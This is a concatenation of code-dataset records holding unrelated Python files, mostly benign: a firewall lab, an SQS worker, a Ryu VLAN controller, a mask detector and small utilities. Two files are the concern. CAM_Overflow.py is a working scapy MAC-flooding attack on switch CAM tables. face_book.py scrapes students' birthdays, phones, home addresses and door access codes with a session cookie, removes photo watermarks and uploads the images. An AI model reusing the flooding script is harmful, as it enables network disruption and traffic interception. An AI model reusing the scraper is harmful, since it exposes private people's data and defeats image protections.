p1>65535) or (p2<1 or p2>65535)):\n flag=False\n if p1>p2:\n flag=False\n\n elif x==\"PROTOCOL\":\n protocol=y\n\n elif x==\"DATA\":\n data=y\n\nprint(\"A total of \",rule_count,\" rules were read; \",valid_rule_count,\" valid rules are stored.\")\n\n# for key in rule_dict:\n# print(\"key: \",key)\n# print(rule_dict[key].num)\n# print(rule_dict[key].src_port_range)\n# print(rule_dict[key].dst_port_range)\n# print(rule_dict[key].data)\n# print(\"----------------\")\n\ndef decimalToBinary(n):\n return bin(n).replace(\"0b\", \"\")\n\ndef get_bin(ip):\n #print(\"ip: \",ip)\n ss=\"\"\n i=0\n tmp=\"\"\n\n for j in range(0,len(ip)):\n if ip[j]==\".\":\n i=j\n break\n tmp+=ip[j]\n\n tmp=int(tmp)\n xx=str(decimalToBinary(tmp))\n\n xx=xx.zfill(8)\n #print(\"xx1: \",xx)\n ss+=xx\n\n tmp=\"\"\n\n for j in range(i+1,len(ip)):\n if ip[j]==\".\":\n i=j\n break\n tmp+=ip[j]\n\n tmp=int(tmp)\n xx=str(decimalToBinary(tmp))\n xx=xx.zfill(8)\n #print(\"xx2: \",xx)\n ss+=xx\n\n tmp=\"\"\n\n for j in range(i+1,len(ip)):\n if ip[j]==\".\":\n i=j\n break\n tmp+=ip[j]\n\n tmp=int(tmp)\n xx=str(decimalToBinary(tmp))\n xx=xx.zfill(8)\n #print(\"xx3: \",xx)\n ss+=xx\n\n tmp=ip[i+1:]\n tmp=int(tmp)\n xx=str(decimalToBinary(tmp))\n xx=xx.zfill(8)\n #print(\"xx4: \",xx)\n ss+=xx\n\n return ss\n\ndef ip_in_range(s1,s2): # (pkt_ip_address,rule_ip_address)\n if s2==\"0.0.0.0/0\":\n return True\n i=s2.index(\"/\")\n pre=s2[i+1:]\n pre=int(pre)\n ip=s2[:i]\n\n ss=get_bin(ip)\n #print(\"ss_orig: \",ss)\n ss2=ss\n\n s3=ss[:pre]\n s4=ss2[:pre]\n #print(\"pre: \",pre)\n\n for kk in range(pre,len(ss)):\n s3+=\"0\"\n for kk in range(pre,len(ss)):\n s4+=\"1\"\n\n ss=s3\n ss2=s4\n\n ss3=get_bin(s1)\n\n # print(\"ss1: \",ss)\n # print(\"ss2: \",ss2)\n # print(\"ss3: \",ss3)\n\n if((ss3>=ss) and (ss3<=ss2)):\n return True\n return False\n\n\npkt_count=0\nvalid_pkt_count=0\n\nfd=open(pkt_file_name,'r')\nlines=fd.readlines()\n\ntot_time=0\n\nfor l in lines:\n #print(\"l: \",l)\n if(l==\"BEGIN\\n\"):\n #print(\"beg: \",l)\n pkt_count+=1\n flag=True\n num = \"\"\n src_ip_address = \"\"\n dst_ip_address = \"\"\n src_port=\"\"\n dst_port=\"\"\n protocol=\"\"\n data=\"\"\n continue\n\n elif(l==\"END\\n\"):\n if flag==True:\n valid_pkt_count+=1\n rule_list=[]\n st=time.time()\n for key in rule_dict:\n r=rule_dict[key]\n flag2=True\n sr2=r.src_ip_address\n sr3=r.dst_ip_address\n t1=ip_in_range(src_ip_address,sr2)\n t2=ip_in_range(dst_ip_address,sr3)\n if(t1==False or t2==False):\n #print(\"t1 or t2 wrong\")\n continue\n\n p=r.src_port_range\n id=p.index(\"-\")\n p1=p[:id]\n p2=p[id+1:]\n p1=int(p1)\n p2=int(p2)\n src_port=int(src_port)\n if(not(p1==0 and p2==0)):\n if(not(src_port>=p1 and src_port<=p2)):\n #print(\"src port wrong\")\n continue\n\n p=r.dst_port_range\n id=p.index(\"-\")\n p1=p[:id]\n p2=p[id+1:]\n p1=int(p1)\n p2=int(p2)\n dst_port=int(dst_port)\n if(not(p1==0 and p2==0)):\n if(not(dst_port>=p1 and dst_port<=p2)):\n #print(\"dst port wrong\")\n continue\n\n if(protocol!=r.protocol):\n #print(\"protocol wrong\")\n continue\n\n if(data.count(r.data)>0):\n #print(\"data wrong\")\n rule_list.append(int(r.num))\n\n en=time.time()\n tot_time+=(en-st)*1000000\n\n rule_list.sort()\n print(\"Packet number \",num,\" matches \",len(rule_list),\" rule(s): \",end=\"\");\n ff=False\n for i in range(0,len(rule_list)):\n if(i==0):\n ff=True\n print(rule_list[i],end=\"\")\n else:\n print(\", \",rule_list[i],end=\"\")\n\n if ff==True:\n print(\".\",end=\"\")\n print(\"\")\n\n elif flag==False:\n print(\"Packet number \",num,\" is invalid.\")\n\n continue\n\n\n ind=l.index(\":\")\n ind2=ind\n ind+=2\n y=l[ind:len(l)-1]\n #print(\"y: \",y,\":: \",end=\"\")\n x=l[:ind2]\n #print(\"x: \",x)\n # print(x)\n # print(y)\n # print(\"\")\n\n if x==\"NUM\":\n #print(\"NUMMM22: \",y)\n num=y\n\n elif x==\"SRC IP ADDR\":\n src_ip_address=y\n\n elif x==\"DEST IP ADDR\":\n dst_ip_address=y\n\n elif x==\"SRC PORT\":\n src_port=y\n p1=int(src_port)\n\n if(p1<0 or p1>65535):\n flag=False\n\n\n elif x==\"DEST PORT\":\n dst_port=y\n p1=int(dst_port)\n\n if(p1<0 or p1>65535):\n flag=False\n\n elif x==\"PROTOCOL\":\n protocol=y\n\n elif x==\"DATA\":\n data=y\n\n\nprint(\"A total of \",pkt_count,\" packet(s) were read from the file and processed. Bye.\")\nprint(\"Average time taken per packet: \",tot_time/pkt_count,\" microseconds.\")\n","sub_path":"lab5-fw.py","file_name":"lab5-fw.py","file_ext":"py","file_size_in_byte":7788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"52911180","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nfrom botocore.vendored.requests import ConnectionError, Timeout\nfrom botocore.exceptions import EndpointConnectionError\nimport logging\nimport threading\nimport time\n\nfrom .conf import settings, get_boto_session\nfrom .exceptions import *\n\ntry:\n import queue\nexcept ImportError:\n import Queue as queue\n\n\nworkerLogger = logging.getLogger('hephaestus.worker')\nmessageReceiverLogger = logging.getLogger('hephaestus.message_receiver')\n_shutdownEvent = threading.Event()\n\n\nclass SQSWorker(threading.Thread):\n def __init__(self, **kwargs):\n self.messageQueue = kwargs.pop('messageQueue')\n threading.Thread.__init__(self, **kwargs)\n workerLogger.info('Queue worker started - %s' % str(self.name))\n\n @staticmethod\n def init_receive_params():\n params = {\n 'MaxNumberOfMessages': settings.SQS_MAX_NUMBER_MESSAGES,\n 'AttributeNames': ['All']\n }\n if settings.SQS_VISIBILITY_TIMEOUT:\n params['VisibilityTimeout'] = settings.SQS_VISIBILITY_TIMEOUT\n if settings.SQS_WAIT_TIME_SECONDS:\n params['WaitTimeSeconds'] = settings.SQS_WAIT_TIME_SECONDS\n return params\n\n def run(self):\n sqs = get_boto_session().resource('sqs')\n queue = sqs.get_queue_by_name(QueueName=settings.SQS_QUEUE_NAME)\n workerLogger.info(\"SQS Queue- %s\" % str(queue))\n receive_params = self.init_receive_params()\n while not _shutdownEvent.is_set():\n workerLogger.debug(\"Connecting to SQS to receive messages with params %s\" % str(receive_params))\n try:\n for message in queue.receive_messages(**receive_params):\n workerLogger.info(message.body)\n self.messageQueue.put(message)\n if settings.SQS_MESSAGE_DELETE_POLICY == \"immediate\":\n message.delete()\n workerLogger.debug(\"Message deleted according to policy '%s'\" % str(settings.SQS_MESSAGE_DELETE_POLICY))\n except (ConnectionError, Timeout) as exc:\n workerLogger.exception(\"Connection to queue failed. Retrying in %d seconds. Original exception: \" % settings.RECONNECT_WAIT_TIME)\n time.sleep(settings.RECONNECT_WAIT_TIME)\n else:\n workerLogger.debug(\"Waiting between SQS requests for %d seconds\" % settings.SQS_WAIT_BETWEEN_REQUESTS)\n time.sleep(settings.SQS_WAIT_BETWEEN_REQUESTS)\n\n\nclass MessageWorker(threading.Thread):\n def __init__(self, **kwargs):\n self.messageQueue = kwargs.pop('messageQueue')\n self.transport = kwargs.pop('transport')\n threading.Thread.__init__(self, **kwargs)\n workerLogger.info('Message worker started - %s' % str(self.name))\n\n def run(self):\n while not _shutdownEvent.is_set():\n message = self.messageQueue.get()\n failure = False\n try:\n self.transport.send(message)\n except ReceiverError:\n failure = True\n messageReceiverLogger.warning(\"Detected error in transport\")\n\n if settings.SQS_MESSAGE_DELETE_POLICY != \"immediate\":\n if settings.SQS_MESSAGE_DELETE_POLICY == \"after_message_processing\":\n message.delete()\n workerLogger.debug(\"Message deleted according to policy '%s'\" % str(settings.SQS_MESSAGE_DELETE_POLICY))\n elif not failure and settings.SQS_MESSAGE_DELETE_POLICY == \"after_successful_message_processing\":\n message.delete()\n workerLogger.debug(\"Message deleted according to policy '%s'\" % str(settings.SQS_MESSAGE_DELETE_POLICY))\n\n\ndef start_workers(transport=None):\n _shutdownEvent.clear()\n workerLogger.debug('Initializing internal message queue with size - %d' % settings.MESSAGE_QUEUE_MAX_SIZE)\n messageQueue = queue.Queue(maxsize=settings.MESSAGE_QUEUE_MAX_SIZE)\n\n workerLogger.info('Spawning %d queue workers' % settings.QUEUE_WORKERS)\n for i in range(settings.QUEUE_WORKERS):\n SQSWorker(\n messageQueue=messageQueue,\n name=\"SQSWorker-{worker_number}\".format(worker_number=str(i))\n ).start()\n\n workerLogger.info('Spawning %d message processor workers' % settings.MESSAGE_PROCESSOR_WORKERS)\n for i in range(settings.MESSAGE_PROCESSOR_WORKERS):\n MessageWorker(\n messageQueue=messageQueue,\n transport=transport,\n name=\"MessageWorker-{worker_number}\".format(worker_number=str(i))\n ).start()\n\n\ndef clean_shutdown():\n workerLogger.info('Received Interrupt. Starting clean shutdown')\n _shutdownEvent.set()","sub_path":"hephaestus/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"237779435","text":"def print_sudoku(board):\n print(\"+\" + \"---+\" * 9)\n for i, row in enumerate(board):\n print((\"|\" + \" {} {} {} |\" * 3).format(*[x % 10 if x != 0 else \" \" for x in row]))\n if i % 3 == 2:\n print(\"+\" + \"---+\" * 9)\n\n\ndef solution(truth_values):\n print('\\n\\n------------- SOLUTION --------------')\n solutions = []\n for solution in truth_values:\n if solution > 0:\n solutions.append(solution)\n solution_grid = []\n for i in range(0, 81, 9):\n solution_grid.append(solutions[i:i + 9])\n print_sudoku(solution_grid)\n return True","sub_path":"SAT/pretty_print.py","file_name":"pretty_print.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"221167374","text":"# Stacks mean First In First Out - FIFO\r\n# Enqueue - add an item to the end of the line\r\n# dequeue - remove an item from the front of the line\r\n\r\n# everything that you wait in line for\r\n\r\nfrom collections import deque # double ended queue\r\n\r\nmy_queue = deque()\r\nmy_queue.append(5)\r\nmy_queue.append(10)\r\nprint(my_queue)\r\nprint(my_queue.popleft())\r\n","sub_path":"Queues.py","file_name":"Queues.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"33852113","text":"#!/usr/bin/env python\r\nfrom scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp\r\n\r\n\r\n'''Afin de saturer la table l'attaque doit être très efficace et rapide.\r\n Alors on génère la liste de paquet avant de tout envoyer.\r\n'''\r\n\r\ndef generate_packets():\r\n packet_list = [] #initializing packet_list to hold all the packets\r\n for i in xrange(1,10000):\r\n packet = Ether(src = RandMAC(),dst= RandMAC())/IP(src=RandIP(),dst=RandIP())\r\n packet_list.append(packet)\r\n return packet_list\r\n\r\n##On forge le paquet pour l'attaque\r\ndef cam_overflow(packet_list):\r\n sendp(packet_list, iface='ens33')\r\n\r\n##On attaque\r\nif __name__ == '__main__':\r\n packet_list = generate_packets()\r\n cam_overflow(packet_list)","sub_path":"CAM_Overflow.py","file_name":"CAM_Overflow.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"615892568","text":"import market_functions as Mfct\nimport numpy as np\n\nretail = Mfct.Market()\nretail.Pmin = 0.0\nretail.Pmax = 100.0\nretail.Pprec = 3\nretail.Qlabel = 'Quantity in [MW]'\nretail.Plabel = 'Price in [USD/MW]'\n\n#Figure 10\nretail.reset()\n\nretail.buy(1400.0,100.0)\np = 100.0\nfor i in range(100):\n\tp -= np.random.uniform()*8\n\tq = np.random.uniform()*6\n\tif p < 0.0:\n\t\tbreak\n\tretail.buy(q, p)\nretail.sell(1250.0, 15.0)\n\nretail.clear()\n\nretail.plot(save_name='clear_at_maxp.png')","sub_path":"market_illustrations2.py","file_name":"market_illustrations2.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"471228884","text":"\"\"\"docstring\"\"\"\nfrom typing import Callable, Any\n\n\ndef reduce_(func: Callable[[Any, Any], Any], iterable) -> Any:\n \"\"\"\n Applies a func function to iterable,\n firs taking as function arguments two first items from iterable,\n this result is then used as firs parameter of the function,\n and the next item from iterable is taken as the second parameter to a function\n :param func: Callable\n :param iterable: Iterable[Any]\n :return: Any\n \"\"\"\n res = func(iterable[0], iterable[1])\n for idx in range(2, len(iterable)):\n res = func(res, iterable[idx])\n return res\n","sub_path":"reduce.py","file_name":"reduce.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"455300059","text":"from ryu.app import ipv4_lldp_13\n\nfrom webob import Response\n\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import CONFIG_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\n\nfrom ryu.app.wsgi import ControllerBase, WSGIApplication, route\n\nfrom ryu.ofproto import ofproto_v1_3\n\nfrom ryu.lib import dpid as dpid_lib\nfrom ryu.lib.ofctl_utils import str_to_int\nimport re\nimport peewee\n\nsimple_switch_instance_name = 'switch_api_app'\ndb = peewee.MySQLDatabase(\"ryu_db\", host=\"10.50.0.100\", port=3306, user=\"root\", passwd=\"\")\n\nclass Vlan(peewee.Model):\n vlan = peewee.IntegerField(primary_key=True)\n start = peewee.CharField()\n end = peewee.CharField()\n path = peewee.CharField()\n\n class Meta:\n database = db # this model uses the people database\n\n\nclass SwitchRest13(ipv4_lldp_13.Switch13):\n\n OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\n _CONTEXTS = {\n 'wsgi': WSGIApplication\n }\n\n def __init__(self, *args, **kwargs):\n super(SwitchRest13, self).__init__(*args, **kwargs)\n self.switches = {}\n self.port_list = {}\n wsgi = kwargs['wsgi']\n wsgi.register(SwitchController,\n {simple_switch_instance_name: self})\n\n @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\n def switch_features_handler(self, ev):\n super(SwitchRest13, self).switch_features_handler(ev)\n datapath = ev.msg.datapath\n self.switches[datapath.id] = datapath\n self.mac_to_port.setdefault(datapath.id, {})\n \n def set_push_pop_vlan_flow1(self, vlan, dpid, port1, port2):\n datapath = self.switches.get(000000000000000 + dpid)\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n f = parser.OFPMatchField.make(ofproto.OXM_OF_VLAN_VID, (vlan | ofproto.OFPVID_PRESENT))\n actions = [parser.OFPActionPushVlan(self.vlan_type),\n parser.OFPActionSetField(f),\n parser.OFPActionOutput(port2)]\n match = parser.OFPMatch(in_port=port1)\n self.add_flow(datapath, 1, match, actions)\n\n actions = [parser.OFPActionPopVlan(self.vlan_type),\n parser.OFPActionOutput(port1)]\n match = parser.OFPMatch(in_port=port2, vlan_vid=(vlan | ofproto.OFPVID_PRESENT))\n\n self.add_flow(datapath, 1, match, actions)\n\n def set_push_pop_vlan_flow2(self, vlan, dpid, port1, port2):\n datapath = self.switches.get(000000000000000 + dpid)\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n f = parser.OFPMatchField.make(ofproto.OXM_OF_VLAN_VID, (vlan | ofproto.OFPVID_PRESENT))\n actions = [parser.OFPActionPushVlan(self.vlan_type),\n parser.OFPActionSetField(f),\n parser.OFPActionOutput(port1)]\n match = parser.OFPMatch(in_port=port2)\n self.add_flow(datapath, 1, match, actions)\n\n actions = [parser.OFPActionPopVlan(self.vlan_type),\n parser.OFPActionOutput(port2)]\n match = parser.OFPMatch(in_port=port1, vlan_vid=(vlan | ofproto.OFPVID_PRESENT))\n\n self.add_flow(datapath, 1, match, actions)\n \n def set_vlan_flow(self, vlan, dpid, port1, port2):\n datapath = self.switches.get(000000000000000 + dpid)\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n actions = [parser.OFPActionOutput(port2)]\n match = parser.OFPMatch(in_port=port1, vlan_vid=(vlan | ofproto.OFPVID_PRESENT))\n self.add_flow(datapath, 1, match, actions)\n\n actions = [parser.OFPActionOutput(port1)]\n match = parser.OFPMatch(in_port=port2, vlan_vid=(vlan | ofproto.OFPVID_PRESENT))\n\n self.add_flow(datapath, 1, match, actions)\n\n\nclass SwitchController(ControllerBase):\n\n def __init__(self, req, link, data, **config):\n super(SwitchController, self).__init__(req, link, data, **config)\n self.switch_app = data[simple_switch_instance_name]\n\n @route('switch', '/add/{start}/{end}', methods=['GET'])\n def add_mac_table(self, req, **kwargs):\n start = kwargs['start']\n end = kwargs['end']\n\n s = Vlan.get(Vlan.start == start)\n e = Vlan.get(Vlan.end == end)\n\n if start == s.start and end == e.end:\n self.path_division(s, e)\n\n @route('switch', '/del/{vlan}', methods=['GET'])\n def del_mac_table(self, req, **kwargs):\n vlan = kwargs['vlan']\n\n v = Vlan.get(Vlan.vlan == vlan)\n s = v.start\n e = v.end\n port1 = s.split(\"-\")\n port2 = e.split(\"-\")\n\n self.switch_app.del_flow(vlan, port1[1], port2[1])\n \n\n @route('switch', '/modify/{start}/{end}', methods=['GET'])\n def modify_mac_table(self, req, **kwargs):\n start = kwargs['start']\n end = kwargs['end']\n\n s = Vlan.get(Vlan.start == start)\n e = Vlan.get(Vlan.end == end)\n\n self.switch_app.del_flow(s.vlan)\n\n if start == s.start and end == e.end:\n self.path_division(s, e)\n\n\n def path_division(self, start, end):\n vlan = start.vlan\n path = start.path\n path_list = re.split('[|,]',path)\n path_join =[]\n for i in range(len(path_list)):\n if i % 2 != 0:\n path_join.append(\",\".join([path_list[i-1], path_list[i]]))\n\n path = re.split('[,-]',path_join[0])\n self.switch_app.set_push_pop_vlan_flow1(vlan, int(path[0]), int(path[1]), int(path[3]))\n\n path = re.split('[,-]',path_join[-1])\n self.switch_app.set_push_pop_vlan_flow2(vlan, int(path[0]), int(path[1]), int(path[3]))\n\n if len(path_join) != 2:\n for j in range(1, len(path_join)-1):\n path = re.split('[,-]',path_join[j])\n self.switch_app.set_vlan_flow(vlan, int(path[0]), int(path[1]), int(path[3]))","sub_path":"ipv4/rest_ipv4_13.py","file_name":"rest_ipv4_13.py","file_ext":"py","file_size_in_byte":5838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"45576943","text":"import cv2\nimport numpy as np\nfrom keras.models import load_model\nmodel=load_model('/home/nero/Documents/pt1/face-mask-detector-project/model2-004.model')\n\nresults={0:'sem-mascara',1:'com-mascara'}\nGR_dict={0:(0,0,255),1:(0,255,0)}\n\nrect_size = 4\ncap = cv2.VideoCapture(-1)\nif not cap.isOpened():\n raise IOError(\"Can't open webcam. Try again!\")\n\nhaarcascade = cv2.CascadeClassifier('/home/nero/Documents/pt1/face-mask-detector-project/FaceMaskEnv/lib/python3.6/site-packages/cv2/data/haarcascade_frontalface_default.xml')\n\nwhile True:\n\t(rval, im) = cap.read()\n\tim=cv2.flip(im,1,1)\n\tif rval:\n\t\tassert not isinstance(im, type(None)), 'image not found'\n\n\trerect_size = cv2.resize(im, (im.shape[1] // rect_size, im.shape[0] // rect_size))\n\tfaces = haarcascade.detectMultiScale(rerect_size)\n\n\tprint(faces)\n\n\n\tfor f in faces:\n\t\t(x, y, w, h) = [v * rect_size for v in f]\n\n\t\tface_img = im[y:y+h, x:x+w]\n\t\trerect_sized=cv2.resize(face_img,(150,150))\n\t\tnormalized=rerect_sized/255.0\n\t\treshaped=np.reshape(normalized,(1,150,150,3))\n\t\treshaped = np.vstack([reshaped])\n\t\tresult=model.predict(reshaped)\n\n\t\tlabel=np.argmax(result,axis=1)[0]\n\n\t\tcv2.rectangle(im,(x,y),(x+w,y+h),GR_dict[label],2)\n\t\tcv2.rectangle(im,(x,y-40),(x+w,y),GR_dict[label],-1)\n\t\tcv2.putText(im, results[label], (x, y-10),cv2.FONT_HERSHEY_SIMPLEX,0.8,(255,255,255),2)\n\n\t\t\n\n\tcv2.imshow('VIDEO', im)\n\tkey = cv2.waitKey(10)\n\n\tif key == 'q':\n\t\tbreak\n\ncap.release()\n\ncv2.destroyAllWindows()","sub_path":"mask.py","file_name":"mask.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"640198129","text":"from .source import Source\nfrom .directory import Directory\n\nfrom .s3 import ImageUploader\n\nfrom bs4 import BeautifulSoup\nimport json\nimport requests\nimport os\nimport re\nfrom cryptography.fernet import Fernet\n\n# Image processing\nfrom PIL import Image\nfrom io import BytesIO\n\n\nwith open('app/scraper/res/majors.txt') as f:\n MAJORS = f.read().splitlines()\nwith open('app/scraper/res/major_full_names.json') as f:\n MAJOR_FULL_NAMES = json.load(f)\n\n\nclass FaceBook(Source):\n FERNET_KEY = os.environ.get('FERNET_KEY')\n\n def __init__(self, cache, cookie, directory):\n super().__init__(cache)\n self.cookie = cookie\n self.directory = directory\n self.image_uploader = ImageUploader()\n self.fernet = Fernet(self.FERNET_KEY)\n\n ##########\n # Scraping\n ##########\n\n RE_ROOM = re.compile(r'^([A-Z]+)-([A-Z]+)(\\d+)(\\d)([A-Z]+)?$')\n RE_BIRTHDAY = re.compile(r'^[A-Z][a-z]{2} \\d{1,2}$')\n RE_ACCESS_CODE = re.compile(r'[0-9]-[0-9]+')\n RE_PHONE = re.compile(r'[0-9]{3}-[0-9]{3}-[0-9]{4}')\n\n def get_html(self, cookie):\n filename = 'page.html'\n if not os.path.exists(filename):\n print('Page not cached, fetching.')\n requests.get('https://students.yale.edu/facebook/ChangeCollege',\n params={\n 'newOrg': 'Yale College'\n },\n headers={\n 'Cookie': cookie,\n })\n r = requests.get('https://students.yale.edu/facebook/PhotoPageNew',\n params={\n 'currentIndex': -1,\n 'numberToGet': -1,\n },\n headers={\n 'Cookie': cookie,\n })\n html = r.text\n with open(filename, 'w') as f:\n f.write(html)\n print('Done fetching page.')\n else:\n print('Using cached page.')\n with open(filename, 'r') as f:\n html = f.read()\n return html\n\n def get_tree(self, html):\n print('Building tree.')\n tree = BeautifulSoup(html, 'html.parser')\n print('Done building tree.')\n return tree\n\n def get_containers(self, tree):\n return tree.find_all('div', {'class': 'student_container'})\n\n def clean_image_id(self, image_src):\n image_id = image_src.lstrip('/facebook/Photo?id=')\n # Check if image is not found\n if image_id == 0:\n return None\n return int(image_id)\n\n def clean_name(self, name):\n print('Parsing ' + name)\n first_name, last_name = name.strip().split(', ', 1)\n return first_name, last_name\n\n def clean_year(self, year):\n year = year.lstrip('\\'')\n if not year:\n return None\n return 2000 + int(year)\n\n def compare_years(self, page_key, people, emails):\n print(f'Comparing years from {page_key} store.')\n with open(f'app/scraper/res/{page_key}.html.fernet', 'rb') as f:\n html = self.fernet.decrypt(f.read())\n tree = self.get_tree(html)\n containers = self.get_containers(tree)\n\n for container in containers:\n year = self.clean_year(container.find('div', {'class': 'student_year'}).text)\n info = container.find_all('div', {'class': 'student_info'})\n try:\n email = info[1].find('a').text\n except AttributeError:\n continue\n if email in emails and not people[emails[email]].get('leave') and email in emails and year is not None and people[emails[email]]['year'] is not None:\n people[emails[email]]['leave'] = (year < people[emails[email]]['year'])\n print(email + ' is' + (' not' if not people[emails[email]]['leave'] else '') + ' taking a leave.')\n return people\n\n def scrape(self, current_people):\n html = self.get_html(self.cookie)\n tree = self.get_tree(html)\n containers = self.get_containers(tree)\n\n if len(containers) == 0:\n print('No people were found on this page. There may be something wrong with authentication, aborting.')\n return []\n\n watermark_mask = Image.open('app/scraper/res/watermark_mask.png')\n print('Already hosting {} images.'.format(len(self.image_uploader.files)))\n\n people = []\n emails = {}\n for container in containers:\n person = {\n 'school': 'Yale College',\n 'school_code': 'YC',\n }\n\n person['last_name'], person['first_name'] = self.clean_name(container.find('h5', {'class': 'yalehead'}).text)\n person['year'] = self.clean_year(container.find('div', {'class': 'student_year'}).text)\n pronouns = container.find('div', {'class': 'student_info_pronoun'}).text\n person['pronouns'] = pronouns if pronouns else None\n\n info = container.find_all('div', {'class': 'student_info'})\n\n person['college'] = info[0].text.replace(' College', '')\n try:\n person['email'] = info[1].find('a').text\n except AttributeError:\n pass\n trivia = info[1].find_all(text=True, recursive=False)\n try:\n room = trivia.pop(0) if self.RE_ROOM.match(trivia[0]) else None\n if room:\n person['residence'] = room\n result = RE_ROOM.search(room)\n person['building_code'], person['entryway'], person['floor'], person['suite'], person['room'] = result.groups()\n person['birthday'] = trivia.pop() if self.RE_BIRTHDAY.match(trivia[-1]) else None\n person['major'] = trivia.pop() if trivia[-1] in MAJORS else None\n if person['major'] and person['major'] in MAJOR_FULL_NAMES:\n person['major'] = MAJOR_FULL_NAMES[person['major']]\n except IndexError:\n pass\n\n new_trivia = []\n for r in range(len(trivia)):\n row = trivia[r].strip()\n if row.endswith(' /'):\n row = row.rstrip(' /')\n if self.RE_ACCESS_CODE.match(row):\n person['access_code'] = row\n if self.RE_PHONE.match(row):\n person['phone'] = self.clean_phone(row)\n if len(new_trivia) == 1 and not person.get('residence'):\n person['residence'] = new_trivia.pop(0)\n else:\n new_trivia.append(row)\n trivia = new_trivia\n\n # Handle first row of address being duplicated for residence\n if len(trivia) >= 2 and trivia[0] == trivia[1] and not person.get('residence'):\n person['residence'] = trivia.pop(0)\n\n person['address'] = '\\n'.join(trivia)\n\n person['leave'] = False\n person['eli_whitney'] = False\n\n directory_entry = self.directory.get_directory_entry(person)\n if directory_entry is not None:\n if not person.get('year') and directory_entry.student_expected_graduation_year:\n person['year'] = int(directory_entry.student_expected_graduation_year)\n # This may not always be the case. But it's probably a safe bet.\n person['eli_whitney'] = True\n # If they're an Eli Whitney student, we won't be able to tell whether\n # they're on leave because there's no year in the face book.\n person['leave'] = None\n person = self.directory.merge_one(person, directory_entry)\n else:\n print('Could not find directory entry.')\n\n image_id = self.clean_image_id(container.find('img')['src'])\n if image_id:\n image_filename = self.image_uploader.get_image_filename(image_id, person)\n if image_filename in self.image_uploader.files:\n person['image'] = self.image_uploader.get_file_url(image_filename)\n else:\n print('Image has not been processed yet.')\n image_r = requests.get('https://students.yale.edu/facebook/Photo?id=' + str(image_id),\n headers={'Cookie': self.cookie},\n stream=True)\n image_r.raw.decode_content = True\n try:\n im = Image.open(image_r.raw)\n\n # Paste mask over watermark\n im.paste(watermark_mask, (0, 0), watermark_mask)\n\n output = BytesIO()\n im.save(output, format='JPEG', mode='RGB')\n\n person['image'] = self.image_uploader.upload_image(output, image_filename)\n except OSError:\n # \"Cannot identify image\" error\n print('PIL could not identify image.')\n\n if person.get('email'):\n emails[person['email']] = len(people)\n people.append(person)\n\n # Check leaves\n people = self.compare_years('pre2020', people, emails)\n people = self.compare_years('fall2020', people, emails)\n\n self.new_records = people\n","sub_path":"app/scraper/sources/face_book.py","file_name":"face_book.py","file_ext":"py","file_size_in_byte":9515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"318369827","text":"from django.db import models\n\nclass Partners(models.Model):\n name = models.CharField(max_length=50)\n created_date = models.DateTimeField(auto_now=True)\n\n class Meta:\n ordering = ('-created_date',)\n verbose_name = 'Partner'\n verbose_name_plural = 'Partners'\n\n def __str__(self):\n return self.name\n\n\nclass Projects(models.Model):\n project_name = models.CharField(max_length=50)\n partner_name = models.ForeignKey(Partners, on_delete=models.CASCADE)\n created_date = models.DateTimeField(auto_now=True)\n\n class Meta:\n ordering = ('-created_date',)\n verbose_name = 'Project'\n verbose_name_plural = 'Projects'\n\n def __str__(self):\n return self.project_name\n\n\nclass Programs(models.Model):\n program_name = models.CharField(max_length=50)\n program_code = models.CharField(max_length=50)\n project_name= models.ForeignKey(Projects, on_delete=models.CASCADE)\n descriptions = models.TextField()\n created_date = models.DateTimeField(auto_now=True)\n\n class Meta:\n ordering = ('-created_date',)\n verbose_name = 'Program'\n verbose_name_plural = 'Programs'\n\n\n def __str__(self):\n return self.program_name","sub_path":"config/arifuapi/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"115228801","text":"import json\nfrom typing import Optional\n\nimport chainerrl\nimport numpy as np\n\nfrom envs.common_envs_utils.env_wrappers import DiscreteWrapper\nfrom envs.common_envs_utils.extended_env_wrappers import ExtendedMaxAndSkipEnv, FrameCompressor, \\\n ImageWithVectorCombiner, ChannelSwapper, OnlyImageTaker, OnlyVectorsTaker, \\\n ImageToFloat, ImageStackWrapper\nfrom envs.gym_car_intersect_fixed import CarRacingHackatonContinuousFixed\n\n\ndef get_state_type_from_settings_path(settings_path: str) -> str:\n settings = json.load(open(settings_path))\n have_image = settings['state_config']['picture']\n have_vector = len(settings['state_config']['vector_car_features']) != 0\n if have_image and have_vector:\n return 'both'\n elif have_vector:\n return 'vector'\n elif have_image:\n return 'image'\n\n raise ValueError(f'unknown state type on path : {settings_path}')\n\n\ndef get_EnvCreator_by_settings(settings_path: str):\n expected_state_type = 